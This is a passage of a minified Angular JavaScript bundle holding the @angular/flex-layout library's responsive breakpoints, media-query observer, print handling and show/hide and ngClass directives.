kt=Array.from(It.querySelectorAll(`[class*=${C}]`)),Fe=/\\bflex-layout-.+?\\b/g;kt.forEach(be=>{be.classList.contains(`${C}ssr`)&&be.parentNode?be.parentNode.removeChild(be):be.className.replace(Fe,"")})}}},deps:[a.K0,n.Lbi],multi:!0},C="flex-layout-";let z=(()=>(()=>{class _t{}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275mod=n.oAB({type:_t}),_t.\\u0275inj=n.cJS({providers:[g]}),_t})())();class H{constructor(_t=!1,kt="all",Fe="",be="",Pe=0){this.matches=_t,this.mediaQuery=kt,this.mqAlias=Fe,this.suffix=be,this.priority=Pe,this.property=""}clone(){return new H(this.matches,this.mediaQuery,this.mqAlias,this.suffix)}}let j=(()=>(()=>{class _t{constructor(){this.stylesheet=new Map}addStyleToElement(Fe,be,Pe){const Re=this.stylesheet.get(Fe);Re?Re.set(be,Pe):this.stylesheet.set(Fe,new Map([[be,Pe]]))}clearStyles(){this.stylesheet.clear()}getStyleForElement(Fe,be){const Pe=this.stylesheet.get(Fe);let Re="";if(Pe){const Ue=Pe.get(be);("number"==typeof Ue||"string"==typeof Ue)&&(Re=Ue+"")}return Re}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t},token:_t,providedIn:"root"}),_t})())();const U={addFlexToParent:!0,addOrientationBps:!1,disableDefaultBps:!1,disableVendorPrefixes:!1,serverLoaded:!1,useColumnBasisZero:!0,printWithBreakpoints:[],mediaTriggerAutoRestore:!0,ssrObserveBreakpoints:[]},G=new n.OlP("Flex Layout token, config options for the library",{providedIn:"root",factory:()=>U}),Q=new n.OlP("FlexLayoutServerLoaded",{providedIn:"root",factory:()=>!1}),oe=new n.OlP("Flex Layout token, collect all breakpoints into one provider",{providedIn:"root",factory:()=>null});function Ce(It,_t){return It=It?It.clone():new H,_t&&(It.mqAlias=_t.alias,It.mediaQuery=_t.mediaQuery,It.suffix=_t.suffix,It.priority=_t.priority),It}const k="inline",K=["row","column","row-reverse","column-reverse"];function q(It){if(It)switch(It.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":It="wrap-reverse";break;case"no":case"none":case"nowrap":It="nowrap";break;default:It="wrap"}return It}let ce=(()=>{class It{constructor(kt,Fe,be,Pe){this.elementRef=kt,this.styleBuilder=Fe,this.styler=be,this.marshal=Pe,this.DIRECTIVE_KEY="",this.inputs=[],this.mru={},this.destroySubject=new s.xQ,this.styleCache=new Map}get parentElement(){return this.elementRef.nativeElement.parentElement}get nativeElement(){return this.elementRef.nativeElement}get activatedValue(){return this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY)}set activatedValue(kt){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,this.marshal.activatedAlias)}ngOnChanges(kt){Object.keys(kt).forEach(Fe=>{if(-1!==this.inputs.indexOf(Fe)){const be=Fe.split(".").slice(1).join(".");this.setValue(kt[Fe].currentValue,be)}})}ngOnDestroy(){this.destroySubject.next(),this.destroySubject.complete(),this.marshal.releaseElement(this.nativeElement)}init(kt=[]){this.marshal.init(this.elementRef.nativeElement,this.DIRECTIVE_KEY,this.updateWithValue.bind(this),this.clearStyles.bind(this),kt)}addStyles(kt,Fe){const be=this.styleBuilder,Pe=be.shouldCache;let Re=this.styleCache.get(kt);(!Re||!Pe)&&(Re=be.buildStyles(kt,Fe),Pe&&this.styleCache.set(kt,Re)),this.mru=Object.assign({},Re),this.applyStyleToElement(Re),be.sideEffect(kt,Re,Fe)}clearStyles(){Object.keys(this.mru).forEach(kt=>{this.mru[kt]=""}),this.applyStyleToElement(this.mru),this.mru={}}triggerUpdate(){this.marshal.triggerUpdate(this.nativeElement,this.DIRECTIVE_KEY)}getFlexFlowDirection(kt,Fe=!1){if(kt){const[be,Pe]=this.styler.getFlowDirection(kt);if(!Pe&&Fe){const Re=function se(It){let[_t,kt,Fe]=function ee(It){It=It?It.toLowerCase():"";let[_t,kt,Fe]=It.split(" ");return K.find(be=>be===_t)||(_t=K[0]),kt===k&&(kt=Fe!==k?Fe:"",Fe=k),[_t,q(kt),!!Fe]}(It);return function we(It,_t=null,kt=!1){return{display:kt?"inline-flex":"flex","box-sizing":"border-box","flex-direction":It,"flex-wrap":_t||null}}(_t,kt,Fe)}(be);this.styler.applyStyleToElements(Re,[kt])}return be.trim()}return"row"}hasWrap(kt){return this.styler.hasWrap(kt)}applyStyleToElement(kt,Fe,be=this.nativeElement){this.styler.applyStyleToElement(be,kt,Fe)}setValue(kt,Fe){this.marshal.setValue(this.nativeElement,this.DIRECTIVE_KEY,kt,Fe)}updateWithValue(kt){this.currentValue!==kt&&(this.addStyles(kt),this.currentValue=kt)}}return It.\\u0275fac=function(kt){n.$Z()},It.\\u0275dir=n.lG2({type:It,features:[n.TTD]}),It})();const je=[{alias:"xs",mediaQuery:"screen and (min-width: 0px) and (max-width: 599.9px)",priority:1e3},{alias:"sm",mediaQuery:"screen and (min-width: 600px) and (max-width: 959.9px)",priority:900},{alias:"md",mediaQuery:"screen and (min-width: 960px) and (max-width: 1279.9px)",priority:800},{alias:"lg",mediaQuery:"screen and (min-width: 1280px) and (max-width: 1919.9px)",priority:700},{alias:"xl",mediaQuery:"screen and (min-width: 1920px) and (max-width: 4999.9px)",priority:600},{alias:"lt-sm",overlapping:!0,mediaQuery:"screen and (max-width: 599.9px)",priority:950},{alias:"lt-md",overlapping:!0,mediaQuery:"screen and (max-width: 959.9px)",priority:850},{alias:"lt-lg",overlapping:!0,mediaQuery:"screen and (max-width: 1279.9px)",priority:750},{alias:"lt-xl",overlapping:!0,priority:650,mediaQuery:"screen and (max-width: 1919.9px)"},{alias:"gt-xs",overlapping:!0,mediaQuery:"screen and (min-width: 600px)",priority:-950},{alias:"gt-sm",overlapping:!0,mediaQuery:"screen and (min-width: 960px)",priority:-850},{alias:"gt-md",overlapping:!0,mediaQuery:"screen and (min-width: 1280px)",priority:-750},{alias:"gt-lg",overlapping:!0,mediaQuery:"screen and (min-width: 1920px)",priority:-650}],Ze="(orientation: portrait) and (max-width: 599.9px)",le="(orientation: landscape) and (max-width: 959.9px)",Oe="(orientation: portrait) and (min-width: 600px) and (max-width: 839.9px)",Qe="(orientation: landscape) and (min-width: 960px) and (max-width: 1279.9px)",Ye="(orientation: portrait) and (min-width: 840px)",qe="(orientation: landscape) and (min-width: 1280px)",Ke={HANDSET:`${Ze}, ${le}`,TABLET:`${Oe} , ${Qe}`,WEB:`${Ye}, ${qe} `,HANDSET_PORTRAIT:`${Ze}`,TABLET_PORTRAIT:`${Oe} `,WEB_PORTRAIT:`${Ye}`,HANDSET_LANDSCAPE:`${le}`,TABLET_LANDSCAPE:`${Qe}`,WEB_LANDSCAPE:`${qe}`},dt=[{alias:"handset",priority:2e3,mediaQuery:Ke.HANDSET},{alias:"handset.landscape",priority:2e3,mediaQuery:Ke.HANDSET_LANDSCAPE},{alias:"handset.portrait",priority:2e3,mediaQuery:Ke.HANDSET_PORTRAIT},{alias:"tablet",priority:2100,mediaQuery:Ke.TABLET},{alias:"tablet.landscape",priority:2100,mediaQuery:Ke.TABLET_LANDSCAPE},{alias:"tablet.portrait",priority:2100,mediaQuery:Ke.TABLET_PORTRAIT},{alias:"web",priority:2200,mediaQuery:Ke.WEB,overlapping:!0},{alias:"web.landscape",priority:2200,mediaQuery:Ke.WEB_LANDSCAPE,overlapping:!0},{alias:"web.portrait",priority:2200,mediaQuery:Ke.WEB_PORTRAIT,overlapping:!0}],ze=/(\\.|-|_)/g;function De(It){let _t=It.length>0?It.charAt(0):"",kt=It.length>1?It.slice(1):"";return _t.toUpperCase()+kt}function We(It,_t=[]){const kt={};return It.forEach(Fe=>{kt[Fe.alias]=Fe}),_t.forEach(Fe=>{kt[Fe.alias]?function bt(It,..._t){if(null==It)throw TypeError("Cannot convert undefined or null to object");for(let kt of _t)if(null!=kt)for(let Fe in kt)kt.hasOwnProperty(Fe)&&(It[Fe]=kt[Fe])}(kt[Fe.alias],Fe):kt[Fe.alias]=Fe}),function ve(It){return It.forEach(_t=>{_t.suffix||(_t.suffix=function re(It){return It.replace(ze,"|").split("|").map(De).join("")}(_t.alias),_t.overlapping=!!_t.overlapping)}),It}(Object.keys(kt).map(Fe=>kt[Fe]))}const xt=new n.OlP("Token (@angular/flex-layout) Breakpoints",{providedIn:"root",factory:()=>{const It=(0,n.f3M)(oe),_t=(0,n.f3M)(G),kt=[].concat.apply([],(It||[]).map(be=>Array.isArray(be)?be:[be]));return We((_t.disableDefaultBps?[]:je).concat(_t.addOrientationBps?dt:[]),kt)}});function Be(It,_t){return(_t&&_t.priority||0)-(It&&It.priority||0)}function pe(It,_t){return(It.priority||0)-(_t.priority||0)}let P=(()=>(()=>{class _t{constructor(Fe){this.findByMap=new Map,this.items=[...Fe].sort(pe)}findByAlias(Fe){return Fe?this.findWithPredicate(Fe,be=>be.alias==Fe):null}findByQuery(Fe){return this.findWithPredicate(Fe,be=>be.mediaQuery==Fe)}get overlappings(){return this.items.filter(Fe=>1==Fe.overlapping)}get aliases(){return this.items.map(Fe=>Fe.alias)}get suffixes(){return this.items.map(Fe=>Fe.suffix?Fe.suffix:"")}findWithPredicate(Fe,be){let Pe=this.findByMap.get(Fe);return Pe||(Pe=this.items.find(be)||null,this.findByMap.set(Fe,Pe)),Pe||null}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(xt))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(xt))},token:_t,providedIn:"root"}),_t})())(),w=(()=>(()=>{class _t{constructor(Fe,be,Pe){this._zone=Fe,this._platformId=be,this._document=Pe,this.source=new u.X(new H(!0)),this.registry=new Map,this.pendingRemoveListenerFns=[],this._observable$=this.source.asObservable()}get activations(){const Fe=[];return this.registry.forEach((be,Pe)=>{be.matches&&Fe.push(Pe)}),Fe}isActive(Fe){const be=this.registry.get(Fe);return be?be.matches:this.registerQuery(Fe).some(Pe=>Pe.matches)}observe(Fe,be=!1){if(Fe&&Fe.length){const Pe=this._observable$.pipe((0,E.h)(Ue=>!be||Fe.indexOf(Ue.mediaQuery)>-1)),Re=new c.y(Ue=>{const xe=this.registerQuery(Fe);if(xe.length){const J=xe.pop();xe.forEach(Ae=>{Ue.next(Ae)}),this.source.next(J)}Ue.complete()});return(0,f.T)(Re,Pe)}return this._observable$}registerQuery(Fe){const be=Array.isArray(Fe)?Fe:[Fe],Pe=[];return function X(It,_t){const kt=It.filter(Fe=>!R[Fe]);if(kt.length>0){const Fe=kt.join(", ");try{const be=_t.createElement("style");be.setAttribute("type","text/css"),be.styleSheet||be.appendChild(_t.createTextNode(`\\n/*\\n @angular/flex-layout - workaround for possible browser quirk with mediaQuery listeners\\n see http://bit.ly/2sd4HMP\\n*/\\n@media ${Fe} {.fx-query-test{ }}\\n`)),_t.head.appendChild(be),kt.forEach(Pe=>R[Pe]=be)}catch(be){console.error(be)}}}(be,this._document),be.forEach(Re=>{const Ue=J=>{this._zone.run(()=>this.source.next(new H(J.matches,Re)))};let xe=this.registry.get(Re);xe||(xe=this.buildMQL(Re),xe.addListener(Ue),this.pendingRemoveListenerFns.push(()=>xe.removeListener(Ue)),this.registry.set(Re,xe)),xe.matches&&Pe.push(new H(!0,Re))}),Pe}ngOnDestroy(){let Fe;for(;Fe=this.pendingRemoveListenerFns.pop();)Fe()}buildMQL(Fe){return function _e(It,_t){return _t&&window.matchMedia("all").addListener?window.matchMedia(It):{matches:"all"===It||""===It,media:It,addListener:()=>{},removeListener:()=>{},onchange:null,addEventListener(){},removeEventListener(){},dispatchEvent:()=>!1}}(Fe,(0,a.NF)(this._platformId))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(n.R0b),n.LFG(n.Lbi),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(n.R0b),(0,n.LFG)(n.Lbi),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();const R={},Dt="print",Pt={alias:Dt,mediaQuery:Dt,priority:1e3};let Ie=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.breakpoints=Fe,this.layoutConfig=be,this._document=Pe,this.registeredBeforeAfterPrintHooks=!1,this.isPrintingBeforeAfterEvent=!1,this.beforePrintEventListeners=[],this.afterPrintEventListeners=[],this.isPrinting=!1,this.queue=new te,this.deactivations=[]}withPrintQuery(Fe){return[...Fe,Dt]}isPrintEvent(Fe){return Fe.mediaQuery.startsWith(Dt)}get printAlias(){return this.layoutConfig.printWithBreakpoints||[]}get printBreakPoints(){return this.printAlias.map(Fe=>this.breakpoints.findByAlias(Fe)).filter(Fe=>null!==Fe)}getEventBreakpoints({mediaQuery:Fe}){const be=this.breakpoints.findByQuery(Fe);return(be?[...this.printBreakPoints,be]:this.printBreakPoints).sort(Be)}updateEvent(Fe){let be=this.breakpoints.findByQuery(Fe.mediaQuery);return this.isPrintEvent(Fe)&&(be=this.getEventBreakpoints(Fe)[0],Fe.mediaQuery=be?be.mediaQuery:""),Ce(Fe,be)}registerBeforeAfterPrintHooks(Fe){if(!this._document.defaultView||this.registeredBeforeAfterPrintHooks)return;this.registeredBeforeAfterPrintHooks=!0;const be=()=>{this.isPrinting||(this.isPrintingBeforeAfterEvent=!0,this.startPrinting(Fe,this.getEventBreakpoints(new H(!0,Dt))),Fe.updateStyles())},Pe=()=>{this.isPrintingBeforeAfterEvent=!1,this.isPrinting&&(this.stopPrinting(Fe),Fe.updateStyles())};this._document.defaultView.addEventListener("beforeprint",be),this._document.defaultView.addEventListener("afterprint",Pe),this.beforePrintEventListeners.push(be),this.afterPrintEventListeners.push(Pe)}interceptEvents(Fe){return this.registerBeforeAfterPrintHooks(Fe),be=>{this.isPrintEvent(be)?be.matches&&!this.isPrinting?(this.startPrinting(Fe,this.getEventBreakpoints(be)),Fe.updateStyles()):!be.matches&&this.isPrinting&&!this.isPrintingBeforeAfterEvent&&(this.stopPrinting(Fe),Fe.updateStyles()):this.collectActivations(be)}}blockPropagation(){return Fe=>!(this.isPrinting||this.isPrintEvent(Fe))}startPrinting(Fe,be){this.isPrinting=!0,Fe.activatedBreakpoints=this.queue.addPrintBreakpoints(be)}stopPrinting(Fe){Fe.activatedBreakpoints=this.deactivations,this.deactivations=[],this.queue.clear(),this.isPrinting=!1}collectActivations(Fe){if(!this.isPrinting||this.isPrintingBeforeAfterEvent)if(Fe.matches)this.isPrintingBeforeAfterEvent||(this.deactivations=[]);else{const be=this.breakpoints.findByQuery(Fe.mediaQuery);be&&(this.deactivations.push(be),this.deactivations.sort(Be))}}ngOnDestroy(){this.beforePrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("beforeprint",Fe)),this.afterPrintEventListeners.forEach(Fe=>this._document.defaultView.removeEventListener("afterprint",Fe))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(P),n.LFG(G),n.LFG(a.K0))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(P),(0,n.LFG)(G),(0,n.LFG)(a.K0))},token:_t,providedIn:"root"}),_t})())();class te{constructor(){this.printBreakpoints=[]}addPrintBreakpoints(_t){return _t.push(Pt),_t.sort(Be),_t.forEach(kt=>this.addBreakpoint(kt)),this.printBreakpoints}addBreakpoint(_t){_t&&void 0===this.printBreakpoints.find(Fe=>Fe.mediaQuery===_t.mediaQuery)&&(this.printBreakpoints=function x(It){return!!It&&It.mediaQuery.startsWith(Dt)}(_t)?[_t,...this.printBreakpoints]:[...this.printBreakpoints,_t])}clear(){this.printBreakpoints=[]}}function it(It){for(let _t in It){let kt=It[_t]||"";switch(_t){case"display":It.display="flex"===kt?["-webkit-flex","flex"]:"inline-flex"===kt?["-webkit-inline-flex","inline-flex"]:kt;break;case"align-items":case"align-self":case"align-content":case"flex":case"flex-basis":case"flex-flow":case"flex-grow":case"flex-shrink":case"flex-wrap":case"justify-content":It["-webkit-"+_t]=kt;break;case"flex-direction":kt=kt||"row",It["-webkit-flex-direction"]=kt,It["flex-direction"]=kt;break;case"order":It.order=It["-webkit-"+_t]=isNaN(+kt)?"0":kt}}return It}let wt=(()=>(()=>{class _t{constructor(Fe,be,Pe,Re){this._serverStylesheet=Fe,this._serverModuleLoaded=be,this._platformId=Pe,this.layoutConfig=Re}applyStyleToElement(Fe,be,Pe=null){let Re={};"string"==typeof be&&(Re[be]=Pe,be=Re),Re=this.layoutConfig.disableVendorPrefixes?be:it(be),this._applyMultiValueStyleToElement(Re,Fe)}applyStyleToElements(Fe,be=[]){const Pe=this.layoutConfig.disableVendorPrefixes?Fe:it(Fe);be.forEach(Re=>{this._applyMultiValueStyleToElement(Pe,Re)})}getFlowDirection(Fe){const be="flex-direction";let Pe=this.lookupStyle(Fe,be);return[Pe||"row",this.lookupInlineStyle(Fe,be)||(0,a.PM)(this._platformId)&&this._serverModuleLoaded?Pe:""]}hasWrap(Fe){return"wrap"===this.lookupStyle(Fe,"flex-wrap")}lookupAttributeValue(Fe,be){return Fe.getAttribute(be)||""}lookupInlineStyle(Fe,be){return(0,a.NF)(this._platformId)?Fe.style.getPropertyValue(be):this._getServerStyle(Fe,be)}lookupStyle(Fe,be,Pe=!1){let Re="";return Fe&&((Re=this.lookupInlineStyle(Fe,be))||((0,a.NF)(this._platformId)?Pe||(Re=getComputedStyle(Fe).getPropertyValue(be)):this._serverModuleLoaded&&(Re=this._serverStylesheet.getStyleForElement(Fe,be)))),Re?Re.trim():""}_applyMultiValueStyleToElement(Fe,be){Object.keys(Fe).sort().forEach(Pe=>{const Re=Fe[Pe],Ue=Array.isArray(Re)?Re:[Re];Ue.sort();for(let xe of Ue)xe=xe?xe+"":"",(0,a.NF)(this._platformId)||!this._serverModuleLoaded?(0,a.NF)(this._platformId)?be.style.setProperty(Pe,xe):this._setServerStyle(be,Pe,xe):this._serverStylesheet.addStyleToElement(be,Pe,xe)})}_setServerStyle(Fe,be,Pe){be=be.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase();const Re=this._readStyleAttribute(Fe);Re[be]=Pe||"",this._writeStyleAttribute(Fe,Re)}_getServerStyle(Fe,be){return this._readStyleAttribute(Fe)[be]||""}_readStyleAttribute(Fe){const be={},Pe=Fe.getAttribute("style");if(Pe){const Re=Pe.split(/;+/g);for(let Ue=0;Ue<Re.length;Ue++){const xe=Re[Ue].trim();if(xe.length>0){const J=xe.indexOf(":");if(-1===J)throw new Error(`Invalid CSS style: ${xe}`);be[xe.substr(0,J).trim()]=xe.substr(J+1).trim()}}}return be}_writeStyleAttribute(Fe,be){let Pe="";for(const Re in be)be[Re]&&(Pe+=Re+":"+be[Re]+";");Fe.setAttribute("style",Pe)}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(j),n.LFG(Q),n.LFG(n.Lbi),n.LFG(G))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(j),(0,n.LFG)(Q),(0,n.LFG)(n.Lbi),(0,n.LFG)(G))},token:_t,providedIn:"root"}),_t})())();class Vt{constructor(){this.shouldCache=!0}sideEffect(_t,kt,Fe){}}function Gt(It,_t="1",kt="1"){let Fe=[_t,kt,It],be=It.indexOf("calc");if(be>0){Fe[2]=qt(It.substring(be).trim());let Pe=It.substr(0,be).trim().split(" ");2==Pe.length&&(Fe[0]=Pe[0],Fe[1]=Pe[1])}else if(0==be)Fe[2]=qt(It.trim());else{let Pe=It.split(" ");Fe=3===Pe.length?Pe:[_t,kt,It]}return Fe}function qt(It){return It.replace(/[\\s]/g,"").replace(/[\\/\\*\\+\\-]/g," $& ")}let u1=(()=>(()=>{class _t{constructor(Fe,be,Pe){this.matchMedia=Fe,this.breakpoints=be,this.hook=Pe,this.activatedBreakpoints=[],this.elementMap=new Map,this.elementKeyMap=new WeakMap,this.watcherMap=new WeakMap,this.updateMap=new WeakMap,this.clearMap=new WeakMap,this.subject=new s.xQ,this.observeActivations()}get activatedAlias(){return this.activatedBreakpoints[0]?this.activatedBreakpoints[0].alias:""}onMediaChange(Fe){const be=this.findByQuery(Fe.mediaQuery);be&&((Fe=Ce(Fe,be)).matches&&-1===this.activatedBreakpoints.indexOf(be)?(this.activatedBreakpoints.push(be),this.activatedBreakpoints.sort(Be),this.updateStyles()):!Fe.matches&&-1!==this.activatedBreakpoints.indexOf(be)&&(this.activatedBreakpoints.splice(this.activatedBreakpoints.indexOf(be),1),this.activatedBreakpoints.sort(Be),this.updateStyles()))}init(Fe,be,Pe,Re,Ue=[]){c1(this.updateMap,Fe,be,Pe),c1(this.clearMap,Fe,be,Re),this.buildElementKeyMap(Fe,be),this.watchExtraTriggers(Fe,be,Ue)}getValue(Fe,be,Pe){const Re=this.elementMap.get(Fe);if(Re){const Ue=void 0!==Pe?Re.get(Pe):this.getActivatedValues(Re,be);if(Ue)return Ue.get(be)}}hasValue(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);if(Re)return void 0!==Re.get(be)||!1}return!1}setValue(Fe,be,Pe,Re){let Ue=this.elementMap.get(Fe);if(Ue){const J=(Ue.get(Re)||new Map).set(be,Pe);Ue.set(Re,J),this.elementMap.set(Fe,Ue)}else Ue=(new Map).set(Re,(new Map).set(be,Pe)),this.elementMap.set(Fe,Ue);const xe=this.getValue(Fe,be);void 0!==xe&&this.updateElement(Fe,be,xe)}trackValue(Fe,be){return this.subject.asObservable().pipe((0,E.h)(Pe=>Pe.element===Fe&&Pe.key===be))}updateStyles(){this.elementMap.forEach((Fe,be)=>{const Pe=new Set(this.elementKeyMap.get(be));let Re=this.getActivatedValues(Fe);Re&&Re.forEach((Ue,xe)=>{this.updateElement(be,xe,Ue),Pe.delete(xe)}),Pe.forEach(Ue=>{if(Re=this.getActivatedValues(Fe,Ue),Re){const xe=Re.get(Ue);this.updateElement(be,Ue,xe)}else this.clearElement(be,Ue)})})}clearElement(Fe,be){const Pe=this.clearMap.get(Fe);if(Pe){const Re=Pe.get(be);Re&&(Re(),this.subject.next({element:Fe,key:be,value:""}))}}updateElement(Fe,be,Pe){const Re=this.updateMap.get(Fe);if(Re){const Ue=Re.get(be);Ue&&(Ue(Pe),this.subject.next({element:Fe,key:be,value:Pe}))}}releaseElement(Fe){const be=this.watcherMap.get(Fe);be&&(be.forEach(Re=>Re.unsubscribe()),this.watcherMap.delete(Fe));const Pe=this.elementMap.get(Fe);Pe&&(Pe.forEach((Re,Ue)=>Pe.delete(Ue)),this.elementMap.delete(Fe))}triggerUpdate(Fe,be){const Pe=this.elementMap.get(Fe);if(Pe){const Re=this.getActivatedValues(Pe,be);Re&&(be?this.updateElement(Fe,be,Re.get(be)):Re.forEach((Ue,xe)=>this.updateElement(Fe,xe,Ue)))}}buildElementKeyMap(Fe,be){let Pe=this.elementKeyMap.get(Fe);Pe||(Pe=new Set,this.elementKeyMap.set(Fe,Pe)),Pe.add(be)}watchExtraTriggers(Fe,be,Pe){if(Pe&&Pe.length){let Re=this.watcherMap.get(Fe);if(Re||(Re=new Map,this.watcherMap.set(Fe,Re)),!Re.get(be)){const xe=(0,f.T)(...Pe).subscribe(()=>{const J=this.getValue(Fe,be);this.updateElement(Fe,be,J)});Re.set(be,xe)}}}findByQuery(Fe){return this.breakpoints.findByQuery(Fe)}getActivatedValues(Fe,be){for(let Re=0;Re<this.activatedBreakpoints.length;Re++){const xe=Fe.get(this.activatedBreakpoints[Re].alias);if(xe&&(void 0===be||xe.has(be)&&null!=xe.get(be)))return xe}const Pe=Fe.get("");return void 0===be||Pe&&Pe.has(be)?Pe:void 0}observeActivations(){const be=this.breakpoints.items.map(Pe=>Pe.mediaQuery);this.matchMedia.observe(this.hook.withPrintQuery(be)).pipe((0,_.b)(this.hook.interceptEvents(this)),(0,E.h)(this.hook.blockPropagation())).subscribe(this.onMediaChange.bind(this))}}return _t.\\u0275fac=function(Fe){return new(Fe||_t)(n.LFG(w),n.LFG(P),n.LFG(Ie))},_t.\\u0275prov=(0,n.Yz7)({factory:function(){return new _t((0,n.LFG)(w),(0,n.LFG)(P),(0,n.LFG)(Ie))},token:_t,providedIn:"root"}),_t})())();function c1(It,_t,kt,Fe){if(void 0!==Fe){let be=It.get(_t);be||(be=new Map,It.set(_t,be)),be.set(kt,Fe)}}},1600:(At,ae,d)=>{"use strict";d.d(ae,{aT:()=>bt,b8:()=>se,oO:()=>G});var n=d(4650),a=d(6895),s=d(5107),u=d(1281),c=d(7625);d(1481);let H=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,null,We,xt),this.ngClassInstance=w,this.DIRECTIVE_KEY="ngClass",this.ngClassInstance||(this.ngClassInstance=new a.mk(Be,pe,ve,P)),this.init(),this.setValue("","")}set klass(ve){this.ngClassInstance.klass=ve,this.setValue(ve,"")}updateWithValue(ve){this.ngClassInstance.ngClass=ve,this.ngClassInstance.ngDoCheck()}ngDoCheck(){this.ngClassInstance.ngDoCheck()}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(s.RK),n.Y36(s.yB),n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.Qsj),n.Y36(a.mk,10))},De.\\u0275dir=n.lG2({type:De,inputs:{klass:["class","klass"]},features:[n.qOj]}),De})())();const j=["ngClass","ngClass.xs","ngClass.sm","ngClass.md","ngClass.lg","ngClass.xl","ngClass.lt-sm","ngClass.lt-md","ngClass.lt-lg","ngClass.lt-xl","ngClass.gt-xs","ngClass.gt-sm","ngClass.gt-md","ngClass.gt-lg"];let G=(()=>(()=>{class De extends H{constructor(){super(...arguments),this.inputs=j}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","ngClass",""],["","ngClass.xs",""],["","ngClass.sm",""],["","ngClass.md",""],["","ngClass.lg",""],["","ngClass.xl",""],["","ngClass.lt-sm",""],["","ngClass.lt-md",""],["","ngClass.lt-lg",""],["","ngClass.lt-xl",""],["","ngClass.gt-xs",""],["","ngClass.gt-sm",""],["","ngClass.gt-md",""],["","ngClass.gt-lg",""]],inputs:{ngClass:"ngClass","ngClass.xs":"ngClass.xs","ngClass.sm":"ngClass.sm","ngClass.md":"ngClass.md","ngClass.lg":"ngClass.lg","ngClass.xl":"ngClass.xl","ngClass.lt-sm":"ngClass.lt-sm","ngClass.lt-md":"ngClass.lt-md","ngClass.lt-lg":"ngClass.lt-lg","ngClass.lt-xl":"ngClass.lt-xl","ngClass.gt-xs":"ngClass.gt-xs","ngClass.gt-sm":"ngClass.gt-sm","ngClass.gt-md":"ngClass.gt-md","ngClass.gt-lg":"ngClass.gt-lg"},features:[n.qOj]}),De})())(),Q=(()=>(()=>{class De extends s.QI{buildStyles(ve,We){return{display:"true"===ve?We.display||(We.isServer?"initial":""):"none"}}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275prov=(0,n.Yz7)({factory:function(){return new De},token:De,providedIn:"root"}),De})())(),oe=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,We,xt,Be),this.layoutConfig=pe,this.platformId=P,this.serverModuleLoaded=w,this.DIRECTIVE_KEY="show-hide",this.display="",this.hasLayout=!1,this.hasFlexChild=!1}ngAfterViewInit(){this.trackExtraTriggers();const ve=Array.from(this.nativeElement.children);for(let xt=0;xt<ve.length;xt++)if(this.marshal.hasValue(ve[xt],"flex")){this.hasFlexChild=!0;break}Ce.has(this.nativeElement)?this.display=Ce.get(this.nativeElement):(this.display=this.getDisplayStyle(),Ce.set(this.nativeElement,this.display)),this.init();const We=this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY,"");void 0===We||""===We?this.setValue(!0,""):this.triggerUpdate()}ngOnChanges(ve){Object.keys(ve).forEach(We=>{if(-1!==this.inputs.indexOf(We)){const xt=We.split("."),Be=xt.slice(1).join("."),pe=ve[We].currentValue;let P=""===pe||0!==pe&&(0,u.Ig)(pe);"fxHide"===xt[0]&&(P=!P),this.setValue(P,Be)}})}trackExtraTriggers(){this.hasLayout=this.marshal.hasValue(this.nativeElement,"layout"),["layout","layout-align"].forEach(ve=>{this.marshal.trackValue(this.nativeElement,ve).pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerUpdate.bind(this))})}getDisplayStyle(){return this.hasLayout||this.hasFlexChild&&this.layoutConfig.addFlexToParent?"flex":this.styler.lookupStyle(this.nativeElement,"display",!0)}updateWithValue(ve=!0){if(""===ve)return;const We=(0,a.PM)(this.platformId);this.addStyles(ve?"true":"false",{display:this.display,isServer:We}),We&&this.serverModuleLoaded&&this.nativeElement.style.setProperty("display",""),this.marshal.triggerUpdate(this.parentElement,"layout-gap")}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(Q),n.Y36(s.RK),n.Y36(s.yB),n.Y36(s.WU),n.Y36(n.Lbi),n.Y36(s.wY))},De.\\u0275dir=n.lG2({type:De,features:[n.qOj,n.TTD]}),De})())();const Ce=new WeakMap,k=["fxShow","fxShow.print","fxShow.xs","fxShow.sm","fxShow.md","fxShow.lg","fxShow.xl","fxShow.lt-sm","fxShow.lt-md","fxShow.lt-lg","fxShow.lt-xl","fxShow.gt-xs","fxShow.gt-sm","fxShow.gt-md","fxShow.gt-lg","fxHide","fxHide.print","fxHide.xs","fxHide.sm","fxHide.md","fxHide.lg","fxHide.xl","fxHide.lt-sm","fxHide.lt-md","fxHide.lt-lg","fxHide.lt-xl","fxHide.gt-xs","fxHide.gt-sm","fxHide.gt-md","fxHide.gt-lg"];let se=(()=>(()=>{class De extends 